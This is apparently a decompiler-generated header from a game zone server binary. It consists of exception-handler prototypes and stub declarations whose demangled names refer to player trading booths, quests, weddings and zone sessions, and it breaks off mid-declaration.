_EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_SkillDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158175(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cn_AppendList_CoordedNode_SlantedCoordList__QAEEPAV12__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158510(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cn_Rearrange_CoordedNode_SlantedCoordList__QAEXPAVFieldMap__PAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158788(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_PointStoneBuy_ShinePlayer_ShineObjectClass__QAEXPBUPointSoulStone_PrimaryParameter__HHHHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159047(int a1); // void __usercall _L159048(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SPStoneUse_ShinePlayer_ShineObjectClass__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159289_1(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SOULSTONE_SP_BUY_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159418(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SOULSTONE_SP_USE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L60350(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1SpamerPenaltyDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159088(int a1); // void __usercall _L159089(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_FindItemFromInventory_ShinePlayer_ShineObjectClass__QAEPAVItemInventoryCell__GPATITEM_INVEN___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159188(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_SparrowWingExpand_ShinePlayer_ShineObjectClass__UAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159377_0(int a1); // void __usercall _L159475(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_SparrowWingFly_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L147214(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__io_ReadReport_IntelligenceOffice_SpyNet__QAEXPAVShineObject_ShineObjectClass__PAVEspionageAgent_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159234(int a1); // void __usercall _L159236_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CHAR_STAT_DECPOINT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159581(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_StatRemainSend_ShinePlayer_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159637(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_CHAR_FREESTAT_SET_DB_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160810(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___6Maker_StringMaker__QAEAAV01_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161254(int a1); // void __usercall _L161256(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BOOTH_INTERIORSTART_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161334(int a1); // void __usercall _L161336(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BOOTH_OPEN_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161625_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sb_Show2Client_StreetBoothSell__UAEXPAVShineObject_ShineObjectClass__PAVShinePlayer_3_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158774(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbb_BuyAll_StreetBoothBuy__AAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___KPAVItemInventoryCell__3HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159028(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbb_BuySplitCreate_StreetBoothBuy__AAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___KPAVItemInventoryCell__3HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159173(int a1); // void __usercall _L159174(int a1); // void __usercall _L159175_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sb_Trade_StreetBoothBuy__UAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158766_0(int a1); // void __usercall _L158767(int a1); // void __usercall _L158963(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbs_SellMerge_StreetBoothSell__AAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ__PAVItemBoxIterator___K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159129(int a1); // void __usercall _L159130(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbs_SellSplitCreate_StreetBoothSell__AAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159344_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_BOOTHTRADE_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159377_1(int a1); // void __usercall _L159378(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sb_Trade_StreetBoothSell__UAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149659(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ThirdPromote_ShinePlayer_ShineObjectClass__QAEXGE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PAV12_V__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2__std__YAPAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0_PAV10_00AAV__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__IV12_V__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2__std__YAXPAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0_IABV10_AAV__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__V__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2__std__IAEXViterator_12_IABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L15688(int a1); // void __usercall _L15689(int a1); // void __usercall _L159191(int a1); // void __usercall _L159192(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_CloseStreetBooth_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159264(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_CloseByLink_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159266(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__tb_Home_TradeBoard__QAEEPAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159307(int a1); // void __usercall _L159309(int a1); // void __usercall _L159839(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_TRADE_DECIDE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L147773(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__tb_OffBoard_TradeBoard__QAEHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L147825(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_TRADE_DOWNBOARD_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148201(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__tb_OnBoard_TradeBoard__QAEHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148247(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_TRADE_UPBOARD_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150938(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__tcm_PutInto_TreasureChestMaker__QAEHHPAUPROTO_ITEM_CMD__HPAVTreasureChestLocationManager__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L73081(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__udb_Load_UpgradeDataBox__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163870(int a1); // void __usercall _L163871(int a1); // void __usercall _L163872(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ChargedBuff_ShinePlayer_ShineObjectClass__UAEXPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164755(int a1); // void __usercall _L164756(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_CanUseItem_UseItemChargedBuff_UseEffect__UAEGPAVShinePlayer_ShineObjectClass__PAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164909(int a1); // void __usercall _L164910(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_CanUseItem_UseItemMemoryFeather_UseEffect__UAEGPAVShinePlayer_ShineObjectClass__PAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165124(int a1); // void __usercall _L165125(int a1); // void __usercall _L165780_0(int a1); // void __usercall _L165781_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_DirectUse_UseItemBossMobDetect_UseEffect__UAEEPAVShinePlayer_ShineObjectClass__HPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165809_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_Effect_UseItemRecallScroll_UseEffect__UAEXPAVShineObject_ShineObjectClass__PAUItemTotalInformation__PBUUIE_Functions_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166172(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_AfterCast_UseItemVariationProtocolBase_UseEffect__UAEXPAVShinePlayer_ShineObjectClass__PAVItemBag__PBUItemDataBoxIndex_ItemDataBox__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166589(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_silverwing_Setloc_ShinePlayer_ShineObjectClass__QAEXPATITEM_INVEN___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166763(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SilverWingMenu_ShinePlayer_ShineObjectClass__QAEXHPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166823(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_DirectUse_UseItemSilverWing_UseEffect__UAEEPAVShinePlayer_ShineObjectClass__HPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159185(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_WeaponLicenseClear_ShinePlayer_ShineObjectClass__IAEXPAUPROTO_NC_WT_LICENSE_REQ__PAVItemInventoryCell__1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159397_0(int a1); // void __usercall _L159521(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__iic_WeaponTitleSave_ItemInventoryCell__QAEXPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161514(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163157(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_WeddingData_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_WEDDINGDATA_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163229(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_WEDDING_HALL_RESERV_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163371(int a1); // void __usercall _L163372(int a1); // void __usercall _L163486(int a1); // void __usercall _L163487(int a1); // void __usercall _L163633(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159065_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_DummyFunction_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160584_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_ZONE_PRISON_END_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160669(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_CHAR_ZONE_SINGLE_OPTION_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157597(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ZoneBaseSession__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157680(int a1); // void __usercall _L157681(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ZoneBaseSession__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159402(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Query_ZoneRingPacketFindInstanceDungeon__QAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159940(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Request_ZoneRingPacketFindPlayerByNormalUser__UAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160756(int a1); // void __usercall _L160823(int a1); // void __usercall _L160824(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Request_ZoneRingPacketSummonPartner__UAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160963(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Success_ZoneRingPacketSummonPartner__UAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161266(int a1); // void __usercall _L161267(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Success_ZoneRingPacketFindInstanceDungeon__QAEXPBUInstanceDungeonInfo_FieldOption__PAVFieldMap___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161495(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Request_ZoneRingPacketRefreshWeddingInfo__QAEXKPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161556(int a1); // void __usercall _L161557(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zrpb_Request_ZoneRingPacketFindInstanceDungeon__QAEXPAVShineObject_ShineObjectClass__PATNETCOMMAND__PBUInstanceDungeonInfo_FieldOption___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163145(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_Routine_SleepManager__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163307(int a1); // void __usercall _L163308(int a1); // void __usercall _L163309(int a1); // void __usercall _L163310(int a1); // void __usercall _L163311(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ParseCmd_ZoneServer__AAE_NPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163887(int a1); // void __usercall _L163888(int a1); // void __usercall _L163889(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ZoneServer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163913(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zs_start_ZoneServer__QAEHPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164846(int a1); // void __usercall _L164847(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zs_mainthreadfunction_ZoneServer__SGKPAX_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166226_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tset_traits_KU__less_K_std__V__allocator_K_2__0A__std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171232(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_StartScript_FieldMap__QAEEPAV__List_VFieldMap____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171833(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1EventReserveContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171874(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__erle_Routine_EventReserveListElement__QAEEPAV__List_VEventReserveListElement____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172543(int a1); // void __usercall _L173473(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VEventReserveListElement____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175339(int a1); // void __usercall _L175340(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0EventReserveContainer__QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176397(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_PAVICondition_NPCAction__V__allocator_PAVICondition_NPCAction___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L183089(int a1); // void __usercall _L183090(int a1); // void __usercall _L184440(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler____loadFromOptionReader_UActionGen_OptionReader_NPCAction__V__Manager_VIAction_NPCAction___2__Util_NPCAction__YA_NAAV__Manager_VIAction_NPCAction___1_PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L184452(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zs_start_old_ZoneServer__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158047(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Send_PROTO_NC_ANNOUNCE_Z2W_CMD_CAnnounceSystem__QAEXEPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158269(int a1); // void __usercall _L161236(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_QuestPS_Start_FieldMap__QAEHPAD0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161348(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CQuestZone__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161662(int a1); // void __usercall _L161663(int a1); // void __usercall _L162189(int a1); // void __usercall _L162190(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__GetQuestPlayerItemLot_CQuestZone__UAEGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162286(int a1); // void __usercall _L162287(int a1); // void __usercall _L163051(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD_CQuestZone__QAEHPAUPROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163134(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__PsStart_CQuestZone__QAEHPAD0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163351(int a1); // void __usercall _L163353(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestCheckReward_CQuestZone__QAEHGKPBUChargedEffectContainer___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163442(int a1); // void __usercall _L163444(int a1); // void __usercall _L163443(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestActionMobKill_CQuestZone__QAEHPAUPLAYER_QUEST_INFO__PAUQUEST_DATA__HPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163571(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Send_QUEST_ERROR_TO_CLIENT_CQuestZone__QAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163616(int a1); // void __usercall _L163671(int a1); // void __usercall _L163795(int a1); // void __usercall _L163796(int a1); // void __usercall _L163797(int a1); // void __usercall _L163798(int a1); // void __usercall _L163799(int a1); // void __usercall _L163800(int a1); // void __usercall _L163801_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestPlayer_ScenarioRun_CQuestZone__QAEHGPAUSTRUCT_QSC___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163875(int a1); // void __usercall _L163876(int a1); // void __usercall _L163877(int a1); // void __usercall _L163883(int a1); // void __usercall _L163885(int a1); // void __usercall _L163886(int a1); // void __usercall _L163878(int a1); // void __usercall _L163879(int a1); // void __usercall _L163880(int a1); // void __usercall _L163881(int a1); // void __usercall _L163882(int a1); // void __usercall _L163884_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestNext_CQuestZone__QAEHXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164039(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Recv_NC_QUEST_DB_SET_INFO_ACK_CQuestZone__QAEXPAUPROTO_NC_QUEST_DB_SET_INFO_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164116(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Recv_NC_QUEST_DB_CLEAR_ACK_CQuestZone__QAEXPAUPROTO_NC_QUEST_DB_CLEAR_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164181(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Recv_NC_ITEMDB_QUESTREWARD_ACK_CQuestZone__QAEXPAUPROTO_NC_ITEMDB_QUESTREWARD_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164296(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__QuestScriptRun_CQuestZone__QAEHW4PLAYER_QUEST_STATUS__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164376(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Recv_NC_QUEST_SELECT_START_REQ_CQuestZone__QAEHPAUPROTO_NC_QUEST_SELECT_START_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150751(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0NoticeAction_NPCAction__QAE_PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L150997(int a1); // void __usercall _L153387_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__check_ClassCondition_NPCAction__UBE_NPBVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151069_0(int a1); // void __usercall _L151070(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_NeighborhoodChecker__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L152224(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__Manager_VICondition_NPCAction___NPCAction__QAE_XZ(EHExceptionRecord *pExcept, 